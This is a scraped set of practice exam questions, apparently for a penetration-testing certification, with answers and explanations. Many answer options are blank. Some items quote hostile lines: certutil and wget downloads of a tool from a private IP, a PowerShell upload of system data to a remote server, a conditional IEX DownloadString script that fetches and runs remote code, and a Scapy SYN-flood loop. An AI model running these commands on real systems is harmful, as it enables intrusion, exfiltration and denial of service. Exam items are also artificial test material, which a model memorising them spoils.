Reveal answer details
Close answer details
Correct answerD
ExplanationSpear phishing can target selected employees with a convincing message that appears to come from senior management, creating both relevance and authority. Within an eight-hour window, a successful response can yield credentials or code execution without first defeating the external perimeter. Tailgating and abandoned media depend heavily on physical opportunity and delayed user action.
Question 54
Single choice
Which of the following is a term used to describe a situation in which a penetration tester bypasses physical access controls and gains access to a facility by entering at the same time as an employee?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerC
ExplanationTailgating occurs when an unauthorized person follows an authorized employee through a controlled entrance, relying on the employee's legitimate access to bypass the physical control. Entering at the same time as the employee matches that behavior. Badge cloning duplicates an access credential, shoulder surfing observes sensitive information, and a site survey evaluates a location rather than gaining entry.
Question 55
Single choice
During a penetration test, a tester captures information about an SPN account. Which of the following attacks requires this information as a prerequisite to proceed?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerB
ExplanationKerberoasting targets service accounts identified through their service principal names. The attacker requests a Kerberos service ticket for an SPN-associated account and then tests the ticket's encrypted material offline. Capturing information about an SPN account supplies the necessary target for that process.
Question 56
Single choice
A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the tester START this process?
-
A
certutil -urlcache -split -f http://192.168.2.124/windows-binaries/accesschk64.exe accesschk64.exe
-
B
powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.2.124/upload.php', 'systeminfo.txt')
-
C
schtasks /query /fo LIST /v | find /I "Next Run Time:"
-
D
wget http://192.168.2.124/windows-binaries/accesschk64.exe accesschk64.exe
Reveal answer details
Close answer details
Correct answerA
Explanationaccesschk64.exe can be used on Windows to inspect permissions assigned to services and other securable objects, helping identify services that a low-privilege account may be able to modify. The certutil command can retrieve the utility to a Windows host using built-in functionality, making this an appropriate initial step before examining service permissions. The other commands address file upload, scheduled tasks, or use a utility not normally present in a default Windows installation.
Question 57
Single choice
A penetration tester needs to obtain sensitive data from several executives who regularly work while commuting by train. Which of the following methods should the tester use for this task?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerA
ExplanationShoulder surfing gathers sensitive information by directly observing a person's screen, keyboard, documents, or device use. Executives working on a train operate in a crowded public setting where a nearby tester can watch displayed data or typed credentials. This method fits the physical opportunity without first compromising an account or service.
Question 58
Single choice
A penetration tester completes a scan and sees the following Nmap output on a host: Nmap scan report for victim (10.10.10.10) Host is up (0.0001s latency) PORT STATE SERVICE 161/udp open snmp 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server Running Microsoft Windows 7 OS CPE: cpe:/o:microsoft:windows_7::sp0 The tester wants to obtain shell access. Which of the following related exploits should the tester try first?
-
A
exploit/windows/smb/psexec
-
B
exploit/windows/smb/ms08_067_netapi
-
C
exploit/windows/smb/ms17_010_eternalblue
-
D
auxiliary/scanner/snmp/snmp_login
Reveal answer details
Close answer details
Correct answerC
ExplanationThe host is identified as Windows 7 with SMB exposed on TCP port 445. The MS17-010 EternalBlue module directly targets a vulnerability in the Windows SMB service and can provide code execution and shell access on affected systems. PsExec generally requires valid administrative credentials, MS08-067 applies to an older server-service flaw, and the SNMP login scanner does not produce the requested shell through SMB.
Question 59
Single choice
Given the following script: $1 = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.split("\")[1] If ($1 -eq "administrator") { echo IEX(New-Object Net.WebClient).Downloadstring('http://10.10.11.12:8080/ul/windows.ps1') | powershell - noprofile -} Which of the following is the penetration tester most likely trying to do?
-
A
Change the system's wallpaper based on the current user's preferences.
-
B
Capture the administrator's password and transmit it to a remote server.
-
C
Conditionally stage and execute a remote script.
-
D
Log the internet browsing history for a systems administrator.
Reveal answer details
Close answer details
Correct answerC
ExplanationThe script first obtains the current Windows identity and compares the username with "administrator." Only when that condition is true does it use a web client to download windows.ps1 from a remote server and pass the result to PowerShell for execution. This sequence conditionally stages and executes a remote script; it contains no logic for passwords, wallpaper, or browser history.
Question 60
Single choice
A penetration tester writes the following script, which is designed to hide communication and bypass some restrictions on a client's network:  Which of the following best describes the technique the tester is applying?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerD
ExplanationThe script retrieves a DNS TXT record, treats its string as Base64-encoded content, decodes it, and passes the result to PowerShell. This uses DNS as a covert carrier for commands or data, which is DNS tunneling. DNS poisoning would alter name-resolution results; it does not describe intentionally transporting an encoded command through a TXT record for execution.
Question 61
Single choice
A penetration tester needs to enumerate domains, subdomains, and ports that belong to comptia.org. Which of the following tools will provide the most comprehensive information?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerC
ExplanationShodan indexes internet-facing systems and their exposed services, ports, banners, hostnames, and domain relationships. Searching the organization's domain can therefore connect domains and subdomains with reachable hosts and observed ports in one data set. DNS tools focus on name records, and theHarvester emphasizes names and email-related discovery rather than comprehensive service exposure.
Question 62
Single choice
A penetration tester is authorized to perform a DoS attack against a host on a network. Given the following input: ip = IP("192.168.50.2") tcp = TCP(sport=RandShort(), dport=80, flags="S") raw = RAW(b"X"*1024) p = ip/tcp/raw send(p, loop=1, verbose=0) Which of the following attack types is most likely being used in the test?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerD
ExplanationThe TCP packet sets the flags field to "S," which represents a SYN used to begin a TCP connection. The send function transmits that packet continuously with loop=1, repeatedly directing SYN packets to TCP port 80. That sustained stream is characteristic of a SYN flood, which consumes connection-handling resources by initiating large numbers of TCP handshakes.
Question 63
Single choice
A penetration tester would like to leverage a CSRF vulnerability to gather sensitive details from an application's end users. Which of the following tools should the tester use for this task?
-
A
Browser Exploitation Framework
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerA
ExplanationA CSRF exploit depends on actions performed through an end user's authenticated browser. The Browser Exploitation Framework is designed to interact with and control browser sessions, making it suitable for delivering browser-focused actions and collecting resulting details. Maltego and theHarvester support reconnaissance, while Metasploit is a broader exploitation framework without the same browser-session focus.
Question 64
Single choice
A penetration tester writes a Bash script to automate the execution of a ping command on a Class C network: for var in --MISSING TEXT-- do ping -c 1 192.168.10.$var done Which of the following pieces of code should the penetration tester use in place of the --MISSING TEXT-- placeholder?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerB
ExplanationThe command seq 1 254 emits each integer from 1 through 254 as iterable shell output. The for loop assigns each value to var, and the ping command inserts that value into the final octet of 192.168.10. This causes one ping attempt for every usable numbered address represented by that range.
Question 65
Single choice
A penetration tester finds code that performs a ping sweep of the 10.203.10.0/24 network. Endpoint protection is blocking the code. Which of the following is the best alternative for achieving the same objective?
-
A
Use arp against each address without testing whether it responds.
-
B
Run tracert against each address.
-
C
Run Test-Connection without producing usable host-status output.
-
D
Run: 1..30 | ForEach-Object { if (Test-Connection -ComputerName " 10.203.10.$_ " -Quiet) { Write-Host " 10.203.10.$_ is reachable " } }
Reveal answer details
Close answer details
Correct answerD
ExplanationThe PowerShell pipeline iterates through host numbers, inserts each value into the 10.203.10.x address, and calls Test-Connection with -Quiet. That switch returns a Boolean result, so Write-Host runs only for addresses that respond and reports each reachable system. This preserves the ping-sweep objective with native PowerShell logic and produces usable host-status output.
Question 66
Single choice
A tester is finishing an engagement and needs to ensure that artifacts resulting from the test are safely handled. Which of the following is the best procedure for maintaining client data privacy?
-
A
Remove configuration changes and any tools deployed to compromised systems.
-
B
Securely destroy or remove all engagement-related data from testing systems.
-
C
Search through configuration files changed for sensitive credentials and remove them.
-
D
Shut down C2 and attacker infrastructure on premises and in the cloud.
Reveal answer details
Close answer details
Correct answerB
ExplanationEngagement data may contain client credentials, findings, captures, and other sensitive material even when it resides only on tester-controlled systems. Securely destroying or removing all engagement-related data from those systems prevents later disclosure or reuse. Removing deployed tools is operational cleanup, but it does not eliminate every retained client-data artifact.
Question 67
Single choice
Testing and reporting activities are complete. A penetration tester needs to verify that exploited systems have been restored to preengagement conditions. Which of the following would be most appropriate for the tester to do?
-
A
Terminate the running command-and-control payload.
-
B
Provide the customer with a list of the changes made.
-
C
Replace environment variables with their original values.
-
D
Put in a change request ticket to reimage the system.
Reveal answer details
Close answer details
Correct answerB
ExplanationA complete list of changes made during exploitation gives the customer a reconciliation record for checking that accounts, files, configurations, payloads, and other modifications have been removed or restored. It supports verification of the whole environment rather than addressing only one artifact. Reimaging is excessive by default, and replacing a single variable cannot confirm all preengagement conditions.
Question 68
Single choice
A penetration tester runs a vulnerability scan that identifies several issues across numerous customer hosts. The executive report outlines the following information: 
Which of the following hosts should the penetration tester select for additional manual testing?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerC
ExplanationThe perimeter network web server should receive additional manual testing because its external exposure makes it more accessible to potential attackers. Vulnerability prioritization should consider asset exposure and business risk rather than relying only on the number of findings. Although other systems have more high-severity vulnerabilities, an Internet-facing server presents a greater opportunity for external exploitation and therefore warrants closer manual assessment.
Question 69
Single choice
A penetration tester needs to evaluate the order in which the next systems will be selected for testing. Given the following output:  Which of the following targets should the tester select next?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerA
ExplanationEPSS estimates the likelihood that a vulnerability will be exploited, whereas CVSS represents technical severity. The fileserver has the highest EPSS value at 0.90, exceeding the legal database at 0.60, the HR database at 0.50, and the finance site at 0.01. When selecting the target most likely to be attacked next, that exploitation probability makes the fileserver the priority despite its lower CVSS score.
Question 70
Single choice
A penetration tester discovers exposed cloud storage buckets and needs to access the contents. Which of the following should the tester do?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerD
ExplanationThe storage service has already been discovered, so repeating service discovery does not supply access. Secrets enumeration searches available files, configurations, environment data, and other exposed material for credentials, keys, or tokens that can authorize access to bucket contents. It targets the missing requirement: usable access material.
Question 71
Single choice
A penetration tester needs to use the native binaries on a system in order to download a file from the internet and evade detection. Which of the following tools would the tester most likely use?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerB
Explanationcertutil.exe is a native Windows binary that can retrieve content from a URL as part of its certificate and encoding functions. Using this already-present utility allows a tester to download a file without introducing a separate transfer program, which supports the requested native-binary execution approach.
|